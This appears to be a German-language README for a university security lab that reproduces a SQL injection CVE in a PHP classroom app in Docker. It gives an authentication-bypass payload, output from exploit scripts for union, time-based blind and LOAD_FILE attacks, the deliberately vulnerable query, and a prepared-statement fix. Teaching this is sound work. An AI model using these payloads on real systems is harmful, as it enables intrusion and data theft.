
Akademisches Projekt ENSIMAG - Sicherheit 3A
Autoren: Wail Yacoubi, Mohammed-Yassine Akhmari
Datum: Januar 2026
Dieser Code ist absichtlich zu Bildungszwecken verwundbar.
Niemals in der Produktion einsetzen.
Reproduktion von CVE-2025-26198: Kritische SQL-Injection in CloudClassroom-PHP-Project v1.0.
Eigenschaften der CVE:
Offizielle Referenz: https://nvd.nist.gov/vuln/detail/CVE-2025-26198
Demonstration von 4 SQL-Injection-Exploitationstechniken:
pip install requests# Cloner le repository
git clone <votre-repo>
cd CVE-2025-26198
# Lancer l'infrastructure
docker-compose up -d
# Attendre que MySQL soit prêt (30 secondes)
sleep 30
# Vérifier les containers
docker-compose ps
Die Anwendung ist unter http://localhost:8081 erreichbar
Gehe zu http://localhost:8081
Fülle das Formular aus:
admin' OR '1'='1'-- -anythingKlicke auf Login
Ergebnis: Erfolgreiche Admin-Anmeldung ohne gültiges Passwort.
Erklärung:
Das Payload transformiert die SQL-Abfrage:
-- Requête normale
SELECT * FROM admin WHERE username='admin' AND password=MD5('test')
-- Requête avec injection
SELECT * FROM admin WHERE username='admin' OR '1'='1'-- -' AND password=MD5('test')
Der Ausdruck OR '1'='1' ist immer wahr, und -- - kommentiert den Rest aus.
python exploit_simple.py http://localhost:8081
Erwartete Ausgabe:
CVE-2025-26198 - SQL Injection Exploit
==================================================
[*] Target: http://localhost:8081/loginlinkadmin.php
[*] Payload: admin' OR '1'='1'-- -
[+] Exploitation successful
[+] Status Code: 200
python exploit.py http://localhost:8081
Erwartete Ausgabe:
============================================================
CVE-2025-26198 - SQL Injection Exploitation
============================================================
Test 1: Boolean-based Authentication Bypass
[+] Authentication bypass SUCCESSFUL
[+] Admin access obtained without valid credentials
Test 2: Union-based Data Extraction
[*] Detecting number of columns...
[+] Number of columns: 5
[+] Database name: cloudclassroom
[+] MySQL user: [email protected]
[+] MySQL version: 5.7.44
[+] Tables: admin,students
[+] Admin data:
- admin:[email protected]
- superadmin:[email protected]
Test 3: Time-based Blind SQL Injection
[*] Response time: 3.05 seconds
[+] Time-based injection CONFIRMED
Test 4: File Read via LOAD_FILE()
[+] File read SUCCESSFUL
[+] FILE privilege confirmed
EXPLOITATION SUMMARY
[✓] Boolean-based (Auth Bypass)
[✓] Union-based (Data Extraction)
[✓] Time-based (Blind Detection)
[✓] File Read (LOAD_FILE)
Teste die sichere Version mit Prepared Statements:
# Activer la version patchée
mv app/loginlinkadmin.php app/loginlinkadmin_VULNERABLE.php
mv app/loginlinkadmin_PATCHED.php app/loginlinkadmin.php
docker-compose restart web
sleep 3
# Retester l'exploit
python exploit_simple.py http://localhost:8081
Erwartetes Ergebnis:
[-] Error: Connection aborted
[-] Exploitation failed
Der Angriff wird durch die Eingabevalidierung und die Prepared Statements blockiert.
Die verwundbare Version wiederherstellen:
mv app/loginlinkadmin.php app/loginlinkadmin_PATCHED.php
mv app/loginlinkadmin_VULNERABLE.php app/loginlinkadmin.php
docker-compose restart web
Verwundbarer Code:
$sql = "SELECT * FROM admin WHERE username='$input_username' AND password=MD5('$input_password')";
$result = $conn->query($sql);
Sicherer Code:
$stmt = $pdo->prepare("SELECT * FROM admin WHERE username = :username AND password = MD5(:password)");
$stmt->bindParam(':username', $input_username, PDO::PARAM_STR);
$stmt->bindParam(':password', $input_password, PDO::PARAM_STR);
$stmt->execute();
CVE-2025-26198/
├── README.md
├── RAPPORT.md
├── docker-compose.yml
├── app/
│ ├── index.html
│ ├── loginlinkadmin.php # Version vulnérable
│ ├── loginlinkadmin_PATCHED.php # Version sécurisée
│ └── sql/
│ ├── init.sql
│ └── grant_file.sql
├── exploit.py
├── exploit_simple.py
└── screenshots/
docker-compose logs web
docker-compose down
docker-compose up -d --build
# Vérifier MySQL
docker-compose exec db mysql -udbuser -pdbpassword -e "SELECT 1"
# Vérifier service web
curl http://localhost:8081
# Vérifier version active
head -n 2 app/loginlinkadmin.php
docker-compose.yml ändern:
ports:
- "8082:80"
Siehe RAPPORT.md für die detaillierte Analyse, einschließlich:
Projekt ausschließlich zu Bildungszwecken im Rahmen des Cybersicherheitskurses ENSIMAG entwickelt.
Zulässige Nutzung:
Unzulässige Nutzung:
Jede Nutzung außerhalb des akademischen Rahmens ist strengstens untersagt und illegal.
Autoren
Wail Yacoubi & Mohammed-Yassine Akhmari
ENSIMAG - Jahrgang 2026
Kurs: Sicherheit 3A
| Aspekt | Verwundbare Version | Gepatchte Version |
|---|
| SQL-Abfrage | Direkte Verkettung | PDO Prepared Statement |
| Eingabevalidierung | Keine | Alphanumerische Regex |
| Ausgabe-Escaping | Nein | htmlspecialchars() |
| SQL-Injection | Ausnutzbar | Blockiert |
| Logs | Keine | error_log() |